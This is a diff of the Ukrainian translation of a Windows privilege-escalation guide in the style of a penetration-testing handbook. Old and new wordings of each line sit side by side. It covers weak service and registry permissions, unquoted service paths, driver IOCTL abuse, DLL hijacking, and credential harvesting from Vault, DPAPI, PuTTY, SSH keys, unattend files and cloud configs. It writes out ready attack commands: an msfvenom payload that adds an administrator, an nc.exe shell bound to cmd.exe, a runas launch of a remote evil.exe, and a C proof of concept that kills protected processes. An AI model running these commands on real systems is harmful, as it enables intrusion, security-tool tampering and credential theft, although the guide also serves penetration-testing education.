+### Слабкі дозволи бінарних файлів сервісів -**Перевірте, чи можете ви змінити бінарний файл, який виконується службою** або чи маєте **дозволи на запис у папку** де знаходиться бінарний файл ([**DLL Hijacking**](dll-hijacking/index.html))**.**\ -Ви можете отримати всі бінарні файли, які виконує служба, за допомогою **wmic** (не в system32) та перевірити ваші дозволи за допомогою **icacls**: +**Перевірте, чи можете змінити бінарний файл, що виконується сервісом** або чи маєте **права запису в папці**, де знаходиться бінарник ([**DLL Hijacking**](dll-hijacking/index.html))**.**\ +Ви можете отримати всі бінарні файли, що виконуються сервісом, за допомогою **wmic** (не в system32) і перевірити свої права за допомогою **icacls**: ```bash for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt @@ -518,10 +519,10 @@ sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt ``` -### Права на модифікацію реєстру служб +### Дозволи на модифікацію реєстру сервісів -Вам слід перевірити, чи можете ви змінити будь-який реєстр служб.\ -Ви можете **перевірити** свої **permissions** щодо реєстру служби, виконавши: +Ви повинні перевірити, чи можете змінювати будь-який реєстр сервісів.\ +Ви можете **перевірити** ваші **дозволи** щодо реєстру **сервісів**, виконавши: ```bash reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services @@ -530,31 +531,32 @@ for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\ get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i " Users Path Everyone" ``` -Потрібно перевірити, чи **Authenticated Users** або **NT AUTHORITY\INTERACTIVE** мають права `FullControl`. Якщо так, бінарний файл, який виконується службою, можна змінити. +Потрібно перевірити, чи мають **Authenticated Users** або **NT AUTHORITY\INTERACTIVE** права `FullControl`. Якщо так, бінарний файл, який виконується службою, можна змінити. -Щоб змінити Path бінарного файлу, що виконується: +Щоб змінити шлях до виконуваного бінарного файлу: ```bash reg add HKLM\SYSTEM\CurrentControlSet\services\ /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f ``` -### Services registry AppendData/AddSubdirectory permissions +### Реєстр служб — дозволи AppendData/AddSubdirectory + +Якщо ви маєте цей дозвіл на реєстр, це означає, що **ви можете створювати підреєстри з цього реєстру**. У випадку служб Windows це **достатньо для виконання довільного коду:** -Якщо у вас є цей дозвіл над реєстром, це означає, що **ви можете створювати підреєстри всередині нього**. У випадку Windows services це **enough to execute arbitrary code:** {{#ref}} appenddata-addsubdirectory-permission-over-service-registry.md {{#endref}} -### Unquoted Service Paths +### Шляхи служби без лапок -Якщо шлях до виконуваного файлу не укладено в лапки, Windows спробує виконати кожну частину, що передує пробілу. +Якщо шлях до виконуваного файлу не взято в лапки, Windows спробує виконати кожний фрагмент шляху, що закінчується перед пробілом. -Наприклад, для шляху _C:\Program Files\Some Folder\Service.exe_ Windows спробує виконати: +Наприклад, для шляху _C:\Program Files\Some Folder\Service.exe_ Windows буде намагатися виконати: ```bash C:\Program.exe C:\Program Files\Some.exe C:\Program Files\Some Folder\Service.exe ``` -Перелік усіх непроцитованих шляхів служб, за винятком тих, що належать вбудованим службам Windows: +Перелічте всі шляхи служб без лапок, за винятком тих, що належать вбудованим службам Windows: ```bash wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"' wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"' # Not only auto services @@ -574,19 +576,20 @@ echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && ```bash gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name ``` -**Ви можете виявити та експлуатувати** цю вразливість за допомогою metasploit: `exploit/windows/local/trusted\_service\_path` Ви можете вручну створити виконуваний файл служби за допомогою metasploit: +**Ви можете виявити та експлуатувати** цю вразливість за допомогою metasploit: `exploit/windows/local/trusted\_service\_path` +Ви можете вручну створити бінарний файл служби за допомогою metasploit: ```bash msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe ``` ### Дії відновлення -Windows дозволяє користувачам вказувати дії, які мають виконуватися у разі збою служби. Цю функцію можна налаштувати так, щоб вона вказувала на binary. Якщо цей binary можна замінити, можливе privilege escalation. Детальніше див. в [official documentation](). +Windows дозволяє користувачам вказувати дії, які виконуватимуться у разі збою служби. Ця функція може бути налаштована так, щоб вказувати на binary. Якщо цей binary можна замінити, може бути можливим privilege escalation. Більше деталей — у [official documentation](). ## Додатки ### Встановлені додатки -Перевірте **permissions of the binaries** (можливо, ви зможете перезаписати якийсь і escalate privileges) та **folders** ([DLL Hijacking](dll-hijacking/index.html)). +Перевірте **permissions of the binaries** (можливо, ви зможете overwrite один і здійснити escalate privileges) та **folders** ([DLL Hijacking](dll-hijacking/index.html)). ```bash dir /a "C:\Program Files" dir /a "C:\Program Files (x86)" @@ -595,11 +598,11 @@ reg query HKEY_LOCAL_MACHINE\SOFTWARE Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name ``` -### Права запису +### Права на запис -Перевірте, чи можете ви змінити якийсь config file, щоб прочитати якийсь спеціальний файл, або чи можете змінити якийсь binary, який буде виконаний обліковим записом Administrator (schedtasks). +Перевірте, чи можете змінити якийсь конфігураційний файл, щоб прочитати певний файл, або чи можете змінити бінарний файл, який буде виконаний від імені облікового запису Administrator (schedtasks). -Спосіб знайти слабкі дозволи на папки/файли в системі — зробити: +Один зі способів знайти слабкі дозволи на папки/файли в системі — виконати: ```bash accesschk.exe /accepteula # Find all weak folder permissions per drive. @@ -622,9 +625,9 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}} ``` -### Запуск під час старту +### Запуск під час завантаження -**Перевірте, чи можете перезаписати якийсь registry або binary, який буде виконуватися іншим користувачем.**\ +**Перевірте, чи можете перезаписати якийсь registry або binary, який буде виконуватиметься іншим користувачем.**\ **Прочитайте** **наступну сторінку**, щоб дізнатися більше про цікаві **autoruns locations to escalate privileges**: @@ -632,33 +635,33 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac privilege-escalation-with-autorun-binaries.md {{#endref}} -### Drivers +### Драйвери -Шукайте можливі **сторонні підозрілі/вразливі** драйвери +Шукайте можливі **сторонні дивні/вразливі** драйвери ```bash driverquery driverquery.exe /fo table driverquery /SI ``` -Якщо драйвер надає довільний примітив читання/запису ядра (звично в погано реалізованих IOCTL-обробниках), ви можете підвищити привілеї, викравши SYSTEM token безпосередньо з пам'яті ядра. Див. покрокову техніку тут: +Якщо драйвер надає довільний примітив читання/запису ядра (поширено в погано реалізованих обробниках IOCTL), ви можете ескалувати привілеї, викравши SYSTEM token безпосередньо з пам'яті ядра. Див. покрокову техніку тут: {{#ref}} arbitrary-kernel-rw-token-theft.md {{#endref}} -#### Зловживання відсутністю FILE_DEVICE_SECURE_OPEN на device objects (LPE + EDR kill) +#### Abusing missing FILE_DEVICE_SECURE_OPEN on device objects (LPE + EDR kill) -Деякі підписані сторонні драйвери створюють свої device object зі строгим SDDL через IoCreateDeviceSecure, але забувають встановити FILE_DEVICE_SECURE_OPEN у DeviceCharacteristics. Без цього прапора secure DACL не застосовується, коли пристрій відкривається через шлях, що містить додатковий компонент, що дозволяє будь-якому непривілейованому користувачу отримати дескриптор, використавши namespace path, наприклад: +Деякі підписані драйвери сторонніх виробників створюють свій device object зі жорстким SDDL через IoCreateDeviceSecure, але забувають встановити FILE_DEVICE_SECURE_OPEN у DeviceCharacteristics. Без цього прапора secure DACL не застосовується, коли пристрій відкривається через шлях, що містить додатковий компонент, дозволяючи будь-якому непривілейованому користувачу отримати handle, використовуючи namespace path на кшталт: - \\ .\\DeviceName\\anything - \\ .\\amsdk\\anyfile (from a real-world case) -Як тільки користувач може відкрити пристрій, привілейовані IOCTLs, які експонує драйвер, можуть бути використані для LPE та тамперингу. Приклади можливостей, помічених у реальному житті: -- Повернення дескрипторів з повним доступом до довільних процесів (token theft / SYSTEM shell via DuplicateTokenEx/CreateProcessAsUser). -- Необмежене сире читання/запис диска (offline tampering, трюки для персистенції під час завантаження). -- Завершення довільних процесів, включно з Protected Process/Light (PP/PPL), що дозволяє AV/EDR kill з user land через kernel. +Як тільки користувач може відкрити пристрій, привілейовані IOCTLs, які надає драйвер, можуть бути зловживані для LPE та підміни/маніпуляцій. Приклади можливостей, зафіксованих у реальному житті: +- Return full-access handles to arbitrary processes (token theft / SYSTEM shell via DuplicateTokenEx/CreateProcessAsUser). +- Unrestricted raw disk read/write (offline tampering, boot-time persistence tricks). +- Terminate arbitrary processes, including Protected Process/Light (PP/PPL), allowing AV/EDR kill from user land via kernel. -Мінімальний PoC-патерн (user mode): +Мінімальний PoC шаблон (user mode): ```c // Example based on a vulnerable antimalware driver #define IOCTL_REGISTER_PROCESS 0x80002010 @@ -670,26 +673,25 @@ DWORD target = /* PID to kill or open */; DeviceIoControl(h, IOCTL_REGISTER_PROCESS, &me, sizeof(me), 0, 0, 0, 0); DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0); ``` -Заходи пом'якшення для розробників -- Завжди встановлюйте FILE_DEVICE_SECURE_OPEN при створенні об'єктів пристрою, які мають бути обмежені DACL. -- Перевіряйте контекст виклику для привілейованих операцій. Додавайте перевірки PP/PPL перед тим, як дозволити завершення процесу або повернення handle. -- Обмежуйте IOCTLs (access masks, METHOD_*, input validation) і розглядайте брокерські моделі замість прямих привілеїв у ядрі. +Заходи захисту для розробників +- Завжди встановлюйте FILE_DEVICE_SECURE_OPEN під час створення об'єктів пристроїв, які мають обмежуватися DACL. +- Перевіряйте контекст виклику для привілейованих операцій. Додавайте перевірки PP/PPL перед дозволом завершення процесу або повернення дескриптора. +- Обмежуйте IOCTLs (access masks, METHOD_*, перевірка введених даних) та розгляньте посередницькі моделі замість прямих привілеїв ядра. -Ідеї для виявлення для захисників -- Моніторьте відкриття в user-mode підозрілих імен пристроїв (e.g., \\ .\\amsdk*) та певних послідовностей IOCTL, що свідчать про зловживання. -- Застосовуйте блокліст уразливих драйверів Microsoft (HVCI/WDAC/Smart App Control) та підтримуйте власні списки дозволених/заборонених. +Ідеї виявлення для захисників +- Відстежуйте відкриття у користувацькому режимі підозрілих імен пристроїв (e.g., \\ .\\amsdk*) та специфічні послідовності IOCTL, що вказують на зловживання. +- Застосовуйте список заблокованих вразливих драйверів Microsoft (HVCI/WDAC/Smart App Control) та підтримуйте власні списки дозволених/заборонених. ## PATH DLL Hijacking -If you have **write permissions inside a folder present on PATH** you could be able to hijack a DLL loaded by a process and **escalate privileges**. +Якщо у вас є **права запису всередині папки, що міститься в PATH**, ви зможете перехопити DLL, завантажену процесом, і **підвищити привілеї**. -Перевірте дозволи всіх папок у PATH: +Перевірте права доступу для всіх папок у PATH: ```bash for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. ) ``` -Для отримання додаткової інформації про те, як зловживати цією перевіркою: - +Детальніше про те, як зловживати цією перевіркою: {{#ref}} dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md @@ -697,7 +699,7 @@ dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md ## Мережа -### Спільні ресурси +### Шари ```bash net view #Get a list of computers net view /all /domain [domainname] #Shares on the domains @@ -717,9 +719,9 @@ ipconfig /all Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address Get-DnsClientServerAddress -AddressFamily IPv4 | ft ``` -### Open Ports +### Відкриті порти -Перевірте наявність **обмежених сервісів** ззовні +Перевірте наявність **служб з обмеженим доступом** ззовні ```bash netstat -ano #Opened ports? ``` @@ -728,16 +730,16 @@ netstat -ano #Opened ports? route print Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex ``` -### ARP Таблиця +### ARP таблиця ``` arp -A Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L ``` ### Правила брандмауера -[**Перегляньте цю сторінку для команд, пов'язаних із брандмауером**](../basic-cmd-for-pentesters.md#firewall) **(перелік правил, створення правил, вимкнення, вимкнення...)** +[**Перегляньте цю сторінку для команд, пов'язаних з брандмауером**](../basic-cmd-for-pentesters.md#firewall) **(перегляд правил, створення правил, вимкнення, вимкнення...)** -Більше[ команди для network enumeration тут](../basic-cmd-for-pentesters.md#network) +Більше[ команд для мережевої енумерації тут](../basic-cmd-for-pentesters.md#network) ### Windows Subsystem for Linux (wsl) ```bash @@ -746,20 +748,20 @@ C:\Windows\System32\wsl.exe ``` Бінарний файл `bash.exe` також можна знайти в `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` -Якщо ви отримаєте root user, ви зможете слухати будь-який порт (першого разу, коли ви використовуєте `nc.exe` для прослуховування порту, GUI запитає, чи слід дозволити `nc` у брандмауері). +Якщо ви отримаєте root, ви зможете прослуховувати будь-який порт (при першому використанні `nc.exe` для прослуховування порту він через GUI запитає, чи слід дозволити `nc` у firewall). ```bash wsl whoami ./ubuntun1604.exe config --default-user root wsl whoami wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE' ``` -Щоб легко запустити bash як root, ви можете спробувати `--default-user root` +Щоб легко запустити bash як root, можна спробувати `--default-user root` Ви можете переглянути файлову систему `WSL` у папці `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` -## Windows Credentials +## Облікові дані Windows -### Winlogon Credentials +### Облікові дані Winlogon ```bash reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername" @@ -771,16 +773,16 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword ``` -### Менеджер облікових даних / Windows vault +### Менеджер облікових даних / Windows Vault -Взято з [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\ -Windows Vault зберігає облікові дані користувачів для серверів, вебсайтів та інших програм, у які **Windows** може **автоматично входити від імені користувачів**. На перший погляд це може виглядати так, ніби користувачі можуть зберігати свої облікові дані Facebook, Twitter, Gmail тощо, щоб автоматично входити через браузери. Але це не так. +Джерело [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\ +Windows Vault зберігає облікові дані користувачів для серверів, вебсайтів та інших програм, в які **Windows** може **автоматично входити за користувача**. На перший погляд це може виглядати так, ніби користувачі можуть зберігати свої облікові дані для Facebook, Twitter, Gmail тощо, щоб автоматично входити через браузери. Але це не так. -Windows Vault зберігає облікові дані, які Windows може використовувати для автоматичного входу користувачів, що означає, що будь-який **Windows application that needs credentials to access a resource** (сервер або вебсайт) **може використовувати цей Credential Manager** & Windows Vault і використовуватиме надані облікові дані замість того, щоб користувачі постійно вводили ім'я користувача та пароль. +Windows Vault зберігає облікові дані, які **Windows** може використовувати для автоматичного входу користувачів, що означає: будь-який Windows-додаток, якому потрібні облікові дані для доступу до ресурсу (сервера або вебсайту), може використовувати цей Credential Manager & Windows Vault і застосовувати збережені облікові дані замість того, щоб користувачі постійно вводили ім'я користувача та пароль. -Якщо застосунки не взаємодіють з Credential Manager, я не думаю, що вони зможуть використовувати облікові дані для певного ресурсу. Тому, якщо ваш застосунок хоче використовувати vault, він повинен якимось чином **зв'язатися з credential manager та запросити облікові дані для цього ресурсу** з сховища за замовчуванням. +Якщо додатки не взаємодіють із Credential Manager, навряд чи вони зможуть використовувати облікові дані для конкретного ресурсу. Тому, якщо ваш додаток хоче скористатися сховищем, він повинен якимось чином спілкуватися з credential manager і запитувати облікові дані для цього ресурсу з сховища за замовчуванням. -Використайте `cmdkey` для виведення списку збережених облікових даних на машині. +Використовуйте `cmdkey` для виведення списку збережених облікових даних на машині. ```bash cmdkey /list Currently stored credentials: @@ -788,28 +790,28 @@ Target: Domain:interactive=WORKGROUP\Administrator Type: Domain Password User: WORKGROUP\Administrator ``` -Потім ви можете використовувати `runas` з опцією `/savecred`, щоб використати збережені облікові дані. У наведеному прикладі викликається віддалений бінарний файл через SMB share. +Тоді ви можете використовувати `runas` з параметром `/savecred`, щоб скористатися збереженими обліковими даними. Наведений приклад викликає віддалений бінарний файл через SMB share. ```bash runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" ``` -Використання `runas` з наданими обліковими даними. +Використання `runas` з наданим набором облікових даних. ```bash C:\Windows\System32\runas.exe /env /noprofile /user: "c:\users\Public\nc.exe -nc 4444 -e cmd.exe" ``` -Note that mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), or from [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1). +Зверніть увагу, що mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), або модуль [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1). ### DPAPI -**API захисту даних (DPAPI)** надає метод симетричного шифрування даних, який переважно використовується в операційній системі Windows для симетричного шифрування асиметричних приватних ключів. Це шифрування використовує секрет користувача або системи, значно додаючи ентропії. +The Data Protection API (DPAPI) забезпечує метод симетричного шифрування даних, переважно використовується в операційній системі Windows для симетричного шифрування приватних ключів асиметричних алгоритмів. Це шифрування використовує секрет користувача або системи, який суттєво додає ентропії. -**DPAPI дозволяє шифрувати ключі через симетричний ключ, який виводиться з логін-секретів користувача**. У випадках системного шифрування він використовує секрети автентифікації домену системи. +**DPAPI дозволяє шифрування ключів за допомогою симетричного ключа, який виводиться з облікових секретів користувача**. У випадках шифрування на рівні системи воно використовує аутентифікаційні секрети домену системи. -Зашифровані користувацькі RSA ключі, за допомогою DPAPI, зберігаються в каталозі `%APPDATA%\Microsoft\Protect\{SID}`, де `{SID}` позначає користувацький [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier). **Ключ DPAPI, що розташований разом із master key, який захищає приватні ключі користувача в тому ж файлі**, зазвичай складається з 64 байт випадкових даних. (Важливо зауважити, що доступ до цього каталогу обмежений, тому його вміст неможливо переглянути за допомогою команди `dir` в CMD, хоча його можна перелічити через PowerShell). +Зашифровані RSA-ключі користувача, за допомогою DPAPI, зберігаються в директорії `%APPDATA%\Microsoft\Protect\{SID}`, де `{SID}` представляє [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier) користувача. **Ключ DPAPI, розташований разом з головним ключем, що захищає приватні ключі користувача в тому самому файлі,** зазвичай складається з 64 байтів випадкових даних. (Важливо зауважити, що доступ до цієї директорії обмежено, через що неможливо перелічити її вміст за допомогою команди `dir` в CMD, хоча її можна перелічити через PowerShell). ```bash Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\ Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\ ``` -Ви можете використати **mimikatz module** `dpapi::masterkey` з відповідними аргументами (`/pvk` або `/rpc`), щоб розшифрувати його. +Можна використати **mimikatz module** `dpapi::masterkey` з відповідними аргументами (`/pvk` або `/rpc`) для його розшифрування. **credentials files protected by the master password** зазвичай розташовані в: ```bash @@ -818,8 +820,8 @@ dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\ ``` -Ви можете використати **mimikatz module** `dpapi::cred` з відповідним `/masterkey` для розшифрування.\ -Ви можете **extract many DPAPI** **masterkeys** з **memory** за допомогою модуля `sekurlsa::dpapi` (якщо ви root). +Ви можете використовувати **mimikatz module** `dpapi::cred` із відповідним `/masterkey` для розшифрування.\\ +Ви можете витягти багато **DPAPI** **masterkeys** з **memory** за допомогою модуля `sekurlsa::dpapi` (якщо ви root). {{#ref}} @@ -828,9 +830,9 @@ dpapi-extracting-passwords.md ### PowerShell Credentials -**PowerShell credentials** часто використовуються для **scripting** та завдань автоматизації як спосіб зручного зберігання зашифрованих credentials. Credentials захищені за допомогою **DPAPI**, що зазвичай означає, що їх можна розшифрувати лише тим самим користувачем на тому самому комп'ютері, де вони були створені. +**PowerShell credentials** часто використовуються для scripting та automation tasks як зручний спосіб зберігання encrypted credentials. Credentials захищені за допомогою **DPAPI**, що зазвичай означає, що їх можна розшифрувати лише тим самим користувачем на тій же машині, де вони були створені. -Щоб **decrypt** PS credentials з файлу, який їх містить, ви можете зробити: +Щоб **розшифрувати** PS credentials з файлу, який його містить, ви можете: ```bash PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml' PS C:\> $credential.GetNetworkCredential().username @@ -860,7 +862,7 @@ cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| HCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU HKCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU ``` -### **Диспетчер облікових даних Remote Desktop** +### **Менеджер облікових даних Remote Desktop** ``` %localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings ``` @@ -869,15 +871,15 @@ Use the **Mimikatz** `dpapi::rdg` module with appropriate `/masterkey` to **decr ### Sticky Notes -Люди часто використовують додаток StickyNotes на робочих станціях Windows, щоб **зберігати паролі** та іншу інформацію, не усвідомлюючи, що це файл бази даних. Цей файл знаходиться за адресою `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` і завжди вартий пошуку та аналізу. +Користувачі часто використовують додаток StickyNotes на робочих станціях Windows, щоб **зберігати паролі** та іншу інформацію, не усвідомлюючи, що це файл бази даних. Цей файл знаходиться за шляхом `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` і завжди варто його шукати та переглядати. ### AppCmd.exe -**Зверніть увагу, що для відновлення паролів з AppCmd.exe потрібно бути адміністратором і запускатися з рівнем високої цілісності.**\ -**AppCmd.exe** знаходиться в каталозі `%systemroot%\system32\inetsrv\`.\ -Якщо цей файл існує, то можливо, що деякі **credentials** були налаштовані і їх можна **відновити**. +**Зауважте, що для відновлення паролів з AppCmd.exe потрібно бути Administrator і запускатися з High Integrity рівнем.**\ +**AppCmd.exe** знаходиться в директорії `%systemroot%\system32\inetsrv\`.\ +Якщо цей файл існує, то можливо, що деякі **credentials** були налаштовані і можуть бути **відновлені**. -Цей код було витягнуто з [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1): +This code was extracted from [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1): ```bash function Get-ApplicationHost { $OrigError = $ErrorActionPreference @@ -958,38 +960,38 @@ $ErrorActionPreference = $OrigError ### SCClient / SCCM Перевірте, чи існує `C:\Windows\CCM\SCClient.exe` .\ -Інсталятори **запускаються з SYSTEM privileges**, багато з них вразливі до **DLL Sideloading (інформація з** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).** +Інсталятори **запускаються з привілеями SYSTEM**, багато з них уразливі до **DLL Sideloading (Інформація з** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).** ```bash $result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion if ($result) { $result } else { Write "Not Installed." } ``` -## Файли та Registry (Credentials) +## Файли та реєстр (Credentials) ### Putty Creds ```bash reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there ``` -### Putty SSH ключі хостів +### Putty SSH Host Keys ``` reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\ ``` -### SSH keys у реєстрі +### SSH ключі в реєстрі -SSH private keys можуть зберігатися всередині ключа реєстру `HKCU\Software\OpenSSH\Agent\Keys`, тому вам слід перевірити, чи є там щось цікаве: +SSH приватні ключі можуть зберігатися в реєстровому ключі `HKCU\Software\OpenSSH\Agent\Keys`, тож слід перевірити, чи є там щось цікаве: ```bash reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys' ``` -Якщо ви знайдете будь-який запис у цьому шляху, це, ймовірно, буде збережений SSH key. Він зберігається в зашифрованому вигляді, але його можна легко розшифрувати за допомогою [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract).\ +Якщо ви знайдете будь-який запис у цьому шляху, це, ймовірно, збережений SSH-ключ. Він зберігається в зашифрованому вигляді, але його можна легко розшифрувати за допомогою [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract).\ Більше інформації про цю техніку тут: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) -Якщо служба `ssh-agent` не запущена і ви хочете, щоб вона автоматично запускалася при завантаженні, виконайте: +Якщо сервіс `ssh-agent` не запущений і ви хочете, щоб він автоматично запускався під час завантаження, виконайте: ```bash Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service ``` > [!TIP] -> Здається, ця техніка більше не діє. Я намагався створити кілька ssh-ключів, додати їх за допомогою `ssh-add` і увійти через ssh на машину. Реєстровий ключ HKCU\Software\OpenSSH\Agent\Keys не існує, а procmon не виявив використання `dpapi.dll` під час аутентифікації асиметричним ключем. - +> Схоже, ця техніка більше не діє. Я пробував створити кілька ssh keys, додати їх за допомогою `ssh-add` і підключитися по ssh до машини. Гілка реєстру HKCU\Software\OpenSSH\Agent\Keys не існує, і procmon не виявив використання `dpapi.dll` під час аутентифікації асиметричного ключа. + ### Файли без нагляду ``` C:\Windows\sysprep\sysprep.xml @@ -1005,7 +1007,7 @@ C:\unattend.txt C:\unattend.inf dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul ``` -Ви також можете шукати ці файли, використовуючи **metasploit**: _post/windows/gather/enum_unattend_ +Ви також можете шукати ці файли за допомогою **metasploit**: _post/windows/gather/enum_unattend_ Приклад вмісту: ```xml @@ -1036,7 +1038,7 @@ dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>n %SYSTEMROOT%\System32\config\SYSTEM %SYSTEMROOT%\System32\config\RegBack\system ``` -### Хмарні облікові дані +### Облікові дані хмари ```bash #From user home .aws\credentials @@ -1048,15 +1050,15 @@ AppData\Roaming\gcloud\access_tokens.db ``` ### McAfee SiteList.xml -Шукайте файл з іменем **SiteList.xml** +Пошукайте файл під назвою **SiteList.xml** -### Cached GPP Pasword +### Кешований GPP пароль -Раніше була доступна функція, що дозволяла розгортання кастомних локальних облікових записів адміністраторів на групі машин через Group Policy Preferences (GPP). Однак цей метод мав істотні вразливості. По-перше, Group Policy Objects (GPOs), що зберігаються як XML-файли в SYSVOL, могли бути доступні будь-якому доменному користувачу. По‑друге, паролі в цих GPP, зашифровані AES256 із використанням публічно задокументованого ключа за замовчуванням, могли бути розшифровані будь-яким автентифікованим користувачем. Це створювало серйозний ризик, оскільки могло дозволити користувачам отримати підвищені привілеї. +Раніше була доступна функція, яка дозволяла розгортати користувацькі локальні облікові записи адміністратора на групі машин за допомогою Group Policy Preferences (GPP). Однак цей метод мав суттєві проблеми з безпекою. По-перше, Group Policy Objects (GPOs), що зберігаються як XML-файли в SYSVOL, могли бути доступні будь-якому доменному користувачеві. По-друге, паролі в цих GPP, зашифровані AES256 з використанням опублікованого за замовчуванням ключа, могли бути розшифровані будь-яким автентифікованим користувачем. Це становило серйозний ризик, оскільки могло дозволити користувачам отримати підвищені привілеї. -Щоб зменшити цей ризик, була розроблена функція, яка сканує локально кешовані GPP-файли на наявність поля "cpassword", яке не є порожнім. Після знаходження такого файлу функція розшифровує пароль і повертає кастомний PowerShell object. Цей об'єкт містить деталі про GPP та місце розташування файлу, що допомагає в ідентифікації та усуненні цієї вразливості. +Щоб зменшити цей ризик, була розроблена функція для сканування локально кешованих файлів GPP, що містять поле "cpassword", яке не пусте. Знайшовши такий файл, функція розшифровує пароль і повертає кастомний PowerShell-об'єкт. Цей 